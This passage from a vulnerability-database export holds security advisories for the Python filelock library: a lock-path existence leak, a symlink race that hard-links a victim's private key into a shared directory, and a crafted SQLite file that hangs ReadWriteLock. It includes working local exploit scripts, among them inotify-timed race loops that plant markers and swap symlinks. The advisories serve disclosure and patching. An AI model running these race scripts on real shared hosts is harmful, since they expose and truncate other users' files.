os.replace(staged, lock_path)\n    os.link(held_marker, staged)\n    os.replace(staged, lock_path)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1], timeout=5):\n    print(\"working under the lock\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account (second CPU)\n    participant L as app.lock in a 0777 non-sticky directory\n    participant V as lock user: SoftFileLock(path, timeout=5)\n    participant P as /home/victim/private (0700)\n    A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)\n    loop every few microseconds\n        A->>L: os.replace(fresh symlink -> /home/victim/private/absent)\n        A->>L: os.replace(hard link to the 0466 marker)\n    end\n    loop every poll_interval (0.05 s)\n        V->>L: os.lstat -> regular file, no S_IWUSR\n        rect rgb(255, 214, 214)\n            V->>L: os.access(path, W_OK) lands on the symlink\n            L->>P: resolved to /home/victim/private/absent with the lock user's permissions\n            P-->>V: False (missing)\n            V->>L: os.lstat -> a node is there\n            V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s\n        end\n    end\n    A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)\n```\n\n## Evidence\n\nThe scanner reproducer runs with `victim` uid 1000 owning `/tmp/victim-private` mode `0700` holding `present` and not `absent`; `attacker` uid 1001, no shared group; lock directory `/tmp/team-locks` root-owned `0777` without the sticky bit; `fs.protected_symlinks=1`; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed `CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied` and then `OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout ...`. For the other target it printed `CONTROL ... '/tmp/victim-private/absent': Permission denied` and `OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock'`, then `BUG`. The verdict requires the job for `present` to end in `Timeout` and the job for `absent` in `PermissionError`. In 40 runs a blocking acquire met its first `PermissionError` after 0.1 to 0.7 s.\n\nIn the maintainers' triage the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and checked on macOS that `os.access` there supports `follow_symlinks`, relevant to the platform note above.\n\n## Impact\n\nA local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a `0700` home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same `PermissionError` as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early `PermissionError` is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.\n\n## Workarounds\n\n- Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with `fs.protected_symlinks=1` (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing.\n- Do not take soft locks as root in directories other users can write.\n- Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the `os.access` branch is not reached for the lock user's own marker. The other user's planted `0466` file still reaches it, so this only narrows the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner)\n- 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out)\n- 2026-10-16 01:16 UTC: fix PR #835 opened","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-9j6q-wvj5-jgjg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112912"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/835"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112914","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-crv4-6mhj-j5jh","CVE-2026-112914"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.33.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory","details":"When a soft-lock stale break finds that the marker (the lock file at `<path>`) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link\n    with suppress(FileExistsError):\n        os.link(break_path, lock_file)\n        Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file's inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.<pid>.<token>`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user's private file over the break name.\n4. Line 121 resolves the link with the lock user's credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user's own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 µs between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n    key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n    print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker's own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n    shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n    victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n    print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself\n    holder.acquire()\n    os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n    assert time.monotonic() < deadline, \"the victim never moved the marker aside\"\n    time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() < deadline:\n    time.sleep(0.01)\ntry:\n    os.rename(lock_path, kept_path)\n    print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n    print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n    until = time.perf_counter() + microseconds / 1e6\n    while time.perf_counter() < until:\n        pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n    crashed_holder = SoftFileLock(lock_path)\n    crashed_holder.acquire()\n    os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n    stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n    lock_cycles += 1\n    os.symlink(victim_file, b\"symlink\")\n    marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    os.write(marker, stale_marker)\n    os.utime(marker, (marker_mtime, marker_mtime))\n    marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n    while True:  # plant it as soon as the victim has released the lock\n        try:\n            os.link(b\"staged\", lock_name)\n            break\n        except FileExistsError:\n            pass\n    os.unlink(b\"staged\")\n\n    break_name = None\n    while break_name is None:\n        try:\n            events = os.read(inotify, 4096)\n        except BlockingIOError:\n            continue\n        while events and break_name is None:\n            _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n            name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n            events = events[16 + name_length :]\n            if mask & IN_CLOSE_NOWRITE:\n                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n                # before that lstat only makes the victim start over on its next poll.\n                spin(random.uniform(40, 100))\n                marker_mtime += 1\n                os.utime(marker, (marker_mtime, marker_mtime))\n            elif name.startswith(lock_name + b\".break.\"):\n                # The victim has renamed the marker and is about to lstat the break name and link it back.\n                os.rename(b\"symlink\", name)\n                break_name = name\n    libc.inotify_rm_watch(inotify, marker_watch)\n    os.close(marker)\n\n    time.sleep(0.001)\n    try:\n        at_lock_path = os.lstat(lock_name)\n        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n            os.rename(lock_name, kept_name)\n            print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n            break\n    except FileNotFoundError:\n        pass\n    for leftover in (b\"symlink\", break_name):\n        if os.path.lexists(leftover):\n            os.unlink(leftover)\n    try:\n        os.read(inotify, 65536)\n    except BlockingIOError:\n        pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        time.sleep(0.005)\n    time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant D as /tmp/shared-locks (0777, not sticky)\n    participant V as SoftFileLock of the lock user (uid 1000)\n    participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X\n    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n    rect rgb(255, 214, 214)\n        X->>D: inotify sees the rename: utime the break file (newer mtime)\n        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n        X->>D: rename a symbolic link to signing.key over the break name\n        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n        X->>D: rename app.lock to other.lock before the 2 s eviction\n        Note over V,K: the lock user's FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n    end\n```\n\n## Evidence\n\nThe scanner's reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: ['other.lock']`, and after the `victim` account's second program takes `FileLock('/tmp/shared-locks/other.lock')`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report's macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user's own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else's file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock's user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112914"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/843"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112915","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-cwqr-hh33-gh44","CVE-2026-112915"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock ReadWriteLock: a crafted lock database makes every acquire stall or hang regardless of timeout","details":"`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) run `PRAGMA journal_mode=MEMORY` on a fresh connection for every acquire. That statement makes SQLite load the whole schema (the `sqlite_master` table, which lists every table and index with its `CREATE` text) of whatever file sits at the lock path. The caller's `timeout` reaches SQLite only as `busy_timeout`, which bounds waits for another connection's lock, not schema loading. The only content checks reject non-regular files and WAL mode (write-ahead log, an SQLite mode that keeps changes in a side file). A local user who can place or overwrite the file at a `ReadWriteLock`'s database path can therefore make every `acquire_read` / `acquire_write` of every process using that lock ignore its `timeout` and `blocking=False`. That position needs a non-sticky shared directory, or a database owned by the user running the lock (below: the lock user) that other users may write.\n\nOne 37 KB crafted file stalls each acquire for as long as its author chooses while the process allocates about 1 GB. A second 28 KB layout makes the acquire of a free lock run without end, spinning at 100% CPU and ignoring Ctrl-C. The effect is availability only: the other user reads nothing and corrupts nothing. Affected versions are filelock 3.20.4 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-NFPRHMYJ` [medium, CWE-400]: ReadWriteLock: crafted lock database hangs acquire regardless of timeout.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H` scores 5.5 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `AC:L` (low attack complexity): the other user plants one file; no race. `UI:N` (no user interaction). `A:H` (high availability impact): every acquire of every process using the lock runs for as long as that user chose, or does not return, with `timeout` and `blocking=False` ignored and `SIGINT` not delivered, so only killing the process ends it. `C:N` and `I:N` (no confidentiality or integrity impact): the other user reads nothing and corrupts nothing. `S:U` (scope unchanged).\n\nClassification from the external review: **conditional security**, an availability concern only when an untrusted actor can supply the database file (it needs a writable or replaceable database path). The scanner rated it medium. The review agrees with the mechanism and the precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or replace the file at the lock path. One way: the lock directory is writable by that account and not sticky (the sticky bit is a directory flag that lets only a file's owner remove or rename it), for example a group-writable project or cache directory. There the account can be the first to create the database, or rename the lock user's database aside and put the crafted one in its place. The other way: the lock user's own database is writable by that account (`0666`), which is the setup a lock shared between accounts needs. In a `1777` directory the scanner wrote the crafted file over such a database in place, and the lock user's next acquire hung. The lock user must be able to open the file read-write, so a file the other user creates is `0666`.\n- Sticky directories and kernel settings. In a sticky world-writable directory such as `/tmp`, Linux with `fs.protected_regular=2` (a kernel setting) refuses the lock user's `O_CREAT` open of a file owned by the other account with `EACCES`. A database owned by the other user does not work there. That does not cover a 